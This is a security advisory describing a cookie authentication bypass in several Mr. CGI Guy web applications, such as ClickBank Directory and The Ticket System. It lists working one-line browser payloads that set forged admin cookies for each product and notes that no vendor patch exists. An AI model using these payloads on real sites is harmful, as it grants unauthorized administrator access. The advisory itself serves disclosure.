Multiple Mr. CGI Guy Products Cookie Authentication Bypass Vulnerability

Bugtraq ID:	34969
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	May 14 2009 12:00AM
Updated:	Mar 19 2015 08:41AM
Credit:	TiGeR-Dz and ThE g0bL!N
Vulnerable:	Mr. CGI Guy Ultimate Profit Portal 1.0.1 Mr. CGI Guy Top Sites 1.0 Mr. CGI Guy The Ticket System PHP 2.0 Mr. CGI Guy The Ticket System 2.0 Mr. CGI Guy SimpLISTic SQL 2.0 Mr. CGI Guy Message Box 1.0 Mr. CGI Guy Hot Links SQL-PHP 3.2 Mr. CGI Guy Hot Links SQL 3.2 Mr. CGI Guy Clickbank Directory 1.0.1 Mr. CGI Guy Amazon Directory 2.0 Mr. CGI Guy Amazon Directory 1.0
Not Vulnerable:

Multiple Mr. CGI Guy Products Cookie Authentication Bypass Vulnerability

Multiple Mr. CGI Guy products are prone to an authentication-bypass vulnerability because they fail to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain unauthorized administrator access to the affected applications, which may aid in further attacks.

The following are vulnerable:

ClickBank Directory 1.0.1
Hot Links SQL 3.20
Hot Links SQL-PHP 3.2.0
Amazon Directory 1.0 and 2.0
Message Box 1.0
The Ticket System 2.0
The Ticket System PHP 2.0
Ultimate Profit Portal 1.0.1
SimpLISTic SQL 2.0.0
Top Sites 1.0.0

Multiple Mr. CGI Guy Products Cookie Authentication Bypass Vulnerability

Attackers can exploit this issue via a browser.

The following examples are available:

For ClickBank Directory:
javascript:document.cookie="clickbank=Logged+In;path=/";

For Hot Links SQL and Hot Links SQL-PHP:
javascript:document.cookie="admin=logged%20in;path=/";

For Amazon Directory:
javascript:document.cookie="amazonadmin=logged%20in;path=/";

For Message Box:
javascript:document.cookie="mbadmin=logged%20in;path=/";

For The Ticket System and The Ticket System PHP:
javascript:document.cookie="ttc_admin=1%7Cadmin;path=/";

For Ultimate Profit Portal:
javascript:document.cookie="uppadmin=logged%20in;path=/";

For SimpLISTic SQL:
javascript:document.cookie="amazonadmin=logged in;path=/";

For Top Sites:
javascript:document.cookie="clickbank=Logged+In;path=/";

Multiple Mr. CGI Guy Products Cookie Authentication Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Multiple Mr. CGI Guy Products Cookie Authentication Bypass Vulnerability

References:

• Mr. CGI Guy Homepage (Mr. CGI Guy)